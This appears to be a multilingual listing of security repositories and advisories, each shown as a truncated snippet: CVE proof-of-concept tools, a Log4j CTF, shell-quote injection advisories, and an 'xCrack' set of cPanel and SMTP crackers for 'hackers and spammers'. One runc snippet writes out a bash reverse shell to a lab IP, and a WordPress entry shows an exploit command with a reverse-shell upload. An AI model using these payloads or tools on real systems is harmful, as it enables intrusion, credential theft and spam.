Onionscan

onionscan のデプロイ 注意！このリポジトリは https://github.com/s-rah/onionscan のパッチ版であり、hunchly の Google Cloud Shell から実行するように設計されています（ベースラインとして使用された https://github.com/hunchly/funchly/tree/main/onionscan をベースに、ローカルインスタンスにもデプロイできるように変更されています）。 Google Cloud Shell 上の onionscan 1. 無料の Cloud Shell アカウントを取得する:...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 使い方 : このマシンは CVE-2019-5736 に対して脆弱です。Runc exploit CVE-2019-5736 の手順に従ってください。 main.go ファイルをダウンロードし、ファイル内のペイロードを次のように変更します: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" その後、以下を実行します: go build main.go HTTP サーバーを起動します : python3 -m http.server...

WHS3_vulhub

CVE-2017-8386: git-shell サンドボックス回避による RCE PoC 정수진@suz1n 概要 Git-shell は SSH を介して制限された git コマンドのみを許可する環境を提供します。しかし、特定のバージョンの git-shell（2.12.2 など）では、less コマンドを悪用してサンドボックスを回避し、システムコマンドを実行できる脆弱性（CVE-2017-8386）が存在します。 本レポートは、当該脆弱性に対する PoC を実施し、その過程をまとめたものです。 環境構築 使用ツールとバージョン Docker: 24.0.7...

jankybank

jankybank 灵感来源于并大量借鉴自 kozmer/log4j-shell-poc 与 eurogig/log4sheller 配合使用 用于创建基于 Log4j 的 CTF。...

PageBuilderCK-CVE-2026-56290-Exploit

Page Builder CK — fonts.save RCE Probe CVE-2026-56290 BlackHat Team によるJoomla Page Builder CK fonts.save 脆弱性の概念実証スキャナー。 POC CVE-2026-56290 著者: @mrzblackhat チーム: BlackHat Team クレジット: Peyman Siyahi · MR.PERSIA 概要 このツールは、脆弱な compagebuilderck コンポーネントが動作するJoomlaサイトを調査します。fonts.save...

xCrack Python Tools For Hackers

TG ダウンロードリンク: https://t.me/+0z9FapS4mBgyZjhl xCrack ハッカーとスパマーのための Python ハッキングツール 必要条件: Python 3.x テスト環境: Python 3.10.4 ► cPanel セクション ◄ 一括 cPanel アクティブチェッカー 一括 cPanel からシェルへのアップローダー 一括 cPanel から SMTP へのクラッカー 一括 cPanel から Webmail へのクラッカー 一括 cPanel から WHM へのクラッカー Reseller 一括 cPanel から WHM へのクラッカー...

CVE-2026-102422

shell-quote's quote function emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator \n, \r, U+2028, U+2029 in that later string therefore ends the comment, and the rest of the string is...

DEBIAN-CVE-2026-102422

shell-quote's quote function emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator \n, \r, U+2028, U+2029 in that later string therefore ends the comment, and the rest of the string is...

UBUNTU-CVE-2026-102422

shell-quote's quote function emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator \n, \r, U+2028, U+2029 in that later string therefore ends the comment, and the rest of the string is...

CVE-2026-39987-PoC

CVE-2026-39987 PoC 概述 Marimo = 0.20.4 受 /terminal/ws WebSocket 端点中一个预认证 RCE 漏洞的影响。 该端点会检查应用模式和终端支持情况，但在接受 WebSocket 连接之前不会验证身份认证 。随后它会创建一个 PTY shell，允许未认证的攻击者以 Marimo 进程的权限执行命令。 根本原因 与其他调用 validateauth 的 WebSocket 端点不同，易受攻击的终端端点直接接受连接： if appstate.mode != SessionMode.EDIT: await websocket.close...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC: SmarterMail 任意文件上传 RCE（APT 增强版） 这是一个针对 CVE-2025-52691 的增强型概念验证（PoC）漏洞利用工具，该漏洞是 SmarterTools SmarterMail 电子邮件服务器软件中的一个严重漏洞，允许未经身份验证的任意文件上传，可能导致远程代码执行（RCE）。本版本融入了 APT 级别的技术，以实现更强的隐蔽性、持久性和操作能力，适用于高级渗透测试和红队演练场景。 警告 ：本工具仅用于教育和授权测试目的。未经明确许可对系统进行未授权使用是违法且不道德的。作者不对滥用行为承担任何责任。 功能特性...

CVE-2025-7847-POC

CVE-2025-7847 Wordpress插件 已验证订阅者任意文件上传 POC Wordpress插件 AI Engine 2.9.3 - 2.9.4 概念验证 请注意，此漏洞仅在启用“Public API”选项时才能被利用，该选项默认是禁用的，并且没有配置Bearer Token，也没有添加和用于保护API的自定义身份验证。 自动化版本 python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87C4u" --file reverse.php --attacker-ip...

CVE-2026-0073

🤖 CVE-2026-0073 - Omisión de autenticación de ADB inalámbrico 📌 Descripción general CVE-2026-0073 es una vulnerabilidad crítica de omisión de autenticación en el ADB inalámbrico de Android demonio adbd. Un atacante en la misma red puede omitir la autenticación TLS mutua y conectarse al dispositiv...

CVE-2026-64638

CVE-2026-64638 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 请仅在安全且已获授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 已获授权的渗透测试环境 示例环境搭建： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows G...

CVE-2026-102422 shell-quote `quote()` command injection via a line terminator in a token after a `{ comment }` token

shell-quote's quote function emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator \n, \r, U+2028, U+2029 in that later string therefore ends the comment, and the rest of the string is...

CVE-2026-102422 shell-quote `quote()` command injection via a line terminator in a token after a `{ comment }` token

shell-quote's quote function emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator \n, \r, U+2028, U+2029 in that later string therefore ends the comment, and the rest of the string is...

CVE-2026-102422

shell-quote's quote function emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator \n, \r, U+2028, U+2029 in that later string therefore ends the comment, and the rest of the string is...

CVE-2026-102422 shell-quote `quote()` command injection via a line terminator in a token after a `{ comment }` token

shell-quote's quote function emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator \n, \r, U+2028, U+2029 in that later string therefore ends the comment, and the rest of the string is...

CVE-2026-102422

The shell-quote library is vulnerable to command injection due to how the quote() function handles { comment } tokens. When a comment token is emitted as #, it comments out the rest of the shell line, potentially neutralizing the opening quote of subsequent string tokens. If a later string contai...

Demonstration-of-CVE-2023-38831-via-Reverse-Shell-Execution

CVE-2023-38831 反向Shell演示 此仓库包含一份PDF总结和基于实验室环境演示CVE-2023-38831的截图。该漏洞允许攻击者在压缩文件中嵌入并执行恶意载荷。在本例中，载荷触发一个反向shell。 内容包含： summaryreport.pdf：实验室过程的详细说明 /screenshots：步骤和结果的视觉验证 注意： 此仓库不 包含任何可执行代码或恶意软件。 所有操作均在隔离环境中出于教育目的执行。...